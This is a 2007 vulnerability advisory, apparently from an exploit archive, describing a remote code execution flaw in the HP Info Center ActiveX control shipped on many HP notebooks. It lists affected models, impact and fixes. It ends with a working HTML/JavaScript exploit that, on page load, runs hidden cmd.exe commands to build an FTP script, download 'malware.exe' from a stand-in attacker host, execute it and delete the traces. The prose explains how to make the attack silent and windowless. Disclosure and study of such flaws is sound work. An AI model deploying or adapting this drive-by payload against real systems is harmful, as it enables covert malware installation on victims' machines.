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hpcompaq-exec.txt

Posted on 12 December 2007

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Advisory:

Multiple Hewlett-Packard notebook series are prone to a remote code execution attack.
The manufacturer's preinstalled software contains a critical flaw within the software
built to support one-touch button quick feature access.

Overview:
/////////

Software called "HP Info Center" is shipped with almost every HP laptop model for few years.
It is designed to support user with quick system information and hardware configuration
using single button touch.
One of its ActiveX controls deployed by default by the vendor has three insecure methods
that allow a malicious person to target the HP notebook machines for a remote code execution
and remote registry manipulation based attacks.

Impact:
///////

Remote code execution
Remote system registry read/write access
Remote shell command execution

Attack vectors:
///////////////

Architecture of the vulnerable HP Info Center software gives an attacker few different
attack vector combinations:

- remote automated download and execute (e.g. malware instalation)
- remote registry arbitrary key access (e.g. attack preparation, remote system info gathering)
- remote registry data modification (e.g. sensitive data manipulation, malware instalation, DoS attacks)
- system disk data area manipulation and user documents alteration (e.g. system files manipulation,
sensitive user documents access, entire system crash DoS attacks)

Any attack vector will always begin with a try to induce remote user owning a vulnerable machine to
launch the attackers controlled WWW link.
If the victim uses diffrent browser than IE attacker will probably attempt to induce
to open the malicious webstite from within IE.
After that the attack will follow automatic and without any need of interaction with
the victim.

Technical analysis:
///////////////////

The vulnerable ActiveX control HPInfoDLL.dll is a component of HP Info Center application which
is a part of HP Quick Launch Buttons software deployed by the manufacturer while a default
HP machine OS installation.

It has assigned following CLSID:

62DDEB79-15B2-41E3-8834-D3B80493887A

and is by default included to "Safe for Scripting" OLE components group, that allows full execution
scripting access to the control methods from within the browser.

The default AX control installation path is
C:Program FilesHewlett-PackardHP Info Center

The control contains three potentially insecure methods:

VARIANT GetRegValue(String sHKey, String sectionName, String keyName);
void SetRegValue(String sHKey, String sSectionName, String sKeyName, String sValue);
void LaunchApp(String appPath, String params, int cmdShow);

The first and second method are used to access remote registry for read and write by the HP
update and configuration software. To access chosen registry key one must split its path
to 3 string parameters:
HKey parameter containing the main key handle string (for example "HKEY_LOCAL_MACHINE"),
SectionName parameter which is double-slashed string path relative to the HKey,
and the last one - name of key to access / modify.

The third method is used by the HP Info Center application to spawn utility programs from within
the embeded IE window.
When user presses one of the Quick Launch buttons on the HP keyboard the QLBCTRL.exe process
launches apropriate application, in this case: HP INFO CENTERhpinfocenter.exe,
an application build to support the user with quick wifi configuration, update check and so on.
The application window contains enbeded IE control to launch the HPINFO ActiveX CTL.
IE uses the JS script 'HPInfoCenter.js' located in the same dir, which is used to response
user input. When user selects the option he is intrested of, the JS code executes HPINFO
control's LaunchApp() method, which spawns the new process using JS code-specified path.
(e.g. Wireless Assistant, Help and Support Center, ...)
The first problem is that the path variable passed as an argument to the LaunchApp() method
doesn't distinguish between global disk area and local HP software area.
Therefore using this method, one is able to launch ANY executable binary within the system
within the logged user context.
Combining this method with the system command shell one can execute any shell command sequence
within the remote user context(e.g. format, del, copy ...) providing '/c' switch as a first parameter
for the cmd.exe ("execute and exit" option).

At this point, owning the shell commands execution access, CreateProcess() win32 Api function access
and access to the system directory, we can construct an armed remote code execution exploit.
All we need is to use the shell access to build remotely a batch file that after executed will
launch 'ftp.exe' Windows NT ftp client utility, download arbitrary remote file into local system
and execute it afterwards.
Such an exploit however, would have a visible cmd shell window during the exploit driven
download process, so it would be easily noticeable and it would have been canceled by alerted user.

However, thanks to the vendor's programmers, we have a direct mapping of the ShowWindow()
API function second parameter 'cmdShow' trough the LaunchApp() method interface.
Passing here value 5 (SW_SHOW) will make the created process GDI window visible in its default shape.
Passing however 0 value (SW_HIDE) will effect in a totally window-less process creation, that
will continue its execution without main window rendered and without any app-icon on a taskbar.
In short: using the HPInfo Activex control one can construct silent, windowless,
background running, remote execution exploit, which after spawned by clicking the
malicious website by user, will silently download arbitrary remote binary code and execute it afterwards,
even when user changes browsed website during exploit driven download or even close the browser
before the exploit completes.

Vulnerable Software:
////////////////////

HP Info Center v1.0.1.1
HPInfoDll.dll ActiveX CTL v1.0

Internet Explorer 6.0
Internet Explorer 7.0

Windows XP Home
Windows XP Pro
Windows 2000
Windows 2003
Windows Vista

Vulnerable Hardware:
////////////////////

Following laptop models, with all vendor's software and OS updates installed,
has been confirmed to be vulnerable:

HP 510 Notebook PC
HP 530 Notebook PC

HP Compaq 8710w
HP Compaq 8710p
HP Compaq 8510w
HP Compaq 8510p

HP Compaq 6910b
HP Compaq 6715b
HP Compaq 6510b

HP Compaq 2710p
HP Compaq 2510p

HP Compaq NC series Business Notebook PC
HP Compaq NC6230
HP Compaq NC6220
HP Compaq NC8230

HP compaq NX series Business Notebook PC
HP compaq NX7300
HP compaq NX6120
HP compaq NX8220
HP compaq NX6325

HP compaq NW series Mobile Workstation
HP compaq NW9440
HP compaq NW8440


NOTE that listed models are ones that were quick-verified till now. Therefore full
and updated list of vulnerable machines/series should be released by the vendors
security response unit.

Concerning Vista:
/////////////////

Few laptop models which are vista-ready can be bought with preinstalled vista at client's request.
The owners of HP notebooks with HP Info Center software and preinstalled vista OS
can sleep half safely.
First good news is that the system will not allow to spawn an arbitrary new process
in fully automated way from within the LaunchApp() method of ActiveX control without the
interaction with user and will monit him before spawning any child process, whether to allow
to run the new process or not - that is the point where user shall say NO to stay safe.
Second good news is that the SetRegKey() method will NOT gain the write access the the system registry
within the vulnerable control context and registry write try will fail (note also, that because of
its architecture, the "harakiri" fix-exploit under vista WILL NOT patch the vulnerability)
The bad news is that there is one attack vector which could exploit the vulnerability successfuly
under vista - remote system registry read attack.
Although its final impact is relatively small, it can be used by malicious entity to maintain
system structure information gathering and user sensitive data access (access to registry stored
passwords and hashes, software configuraion and versions, disk structure) and then to perform
final remote system attack.

Solution:
/////////

- Wait for the apropriate software update from the vendor
- Do not launch web site links from the untrusted sources
- Install Non-Microsoft internet browser not allowing ActiveX (Firefox, Opera, Safari)
- Manualy set kill-bit for a vulnerable ActiveX control
- Launch the "harakiri" exploit listed on links section, which shuts the vulnerable control down
using the vulnerability itself

Unrelated final word:
/////////////////////

I think the company so deeply involved in security software patents war
should take a bigger care about the users security than
taking profits from the rights to the invention of the circle.
After all, what are the security software patents worth if it is the user
who has the final word about their own software security...

Links:
//////

HPInfo vulnerability detection and fix-exploit site:
www.anspi.pl/~porkythepig/hp-issue

The advisory text link:
www.anspi.pl/~porkythepig/hp-issue/kilokieubasy.txt

Credits:
////////

Issue discovery and research: porkythepig
Contact: porkythepig@anspi.pl
-->

<html>
<head>
<script language="JavaScript">


var attackersFtpServerAddress="attacker.ftp.server";
var attackersFtpUname="IDidntDoAnything";
var attackersFtpPassword="password";
var executableFileName="malware.exe";
var cnt,p;

function spawn2()
{
o2obj.LaunchApp("c:\windows\system32\cmd.exe","/C echo open "+attackersFtpServerAddress+
" >> c:\ftpd&echo "+attackersFtpUname+">> c:\ftpd&echo "+attackersFtpPassword+
">> c:\ftpd&echo binary>> c:\ftpd&echo get "+executableFileName+
"c:\"+executableFileName+" >> c:\ftpd&echo quit>> c:\ftpd",0);
o2obj.LaunchApp("c:\windows\system32\cmd.exe","/C echo cd c:\>> c:\ftpd.bat"+
"&echo ftp -s:ftpd>> c:\ftpd.bat&echo start c:\"+executableFileName+
" >> c:\ftpd.bat",0);
o2obj.LaunchApp("c:\windows\system32\cmd.exe","/C c:\ftpd.bat&del "+
"c:\ftpd.bat&del c:\ftpd&del c:\"+executableFileName,0);
}

</script>
</head>

<body onload="spawn2()">
<object ID="o2obj" WIDTH=0 HEIGHT=0
classid="clsid:62DDEB79-15B2-41E3-8834-D3B80493887A"
</object>
</body>
</html>

 

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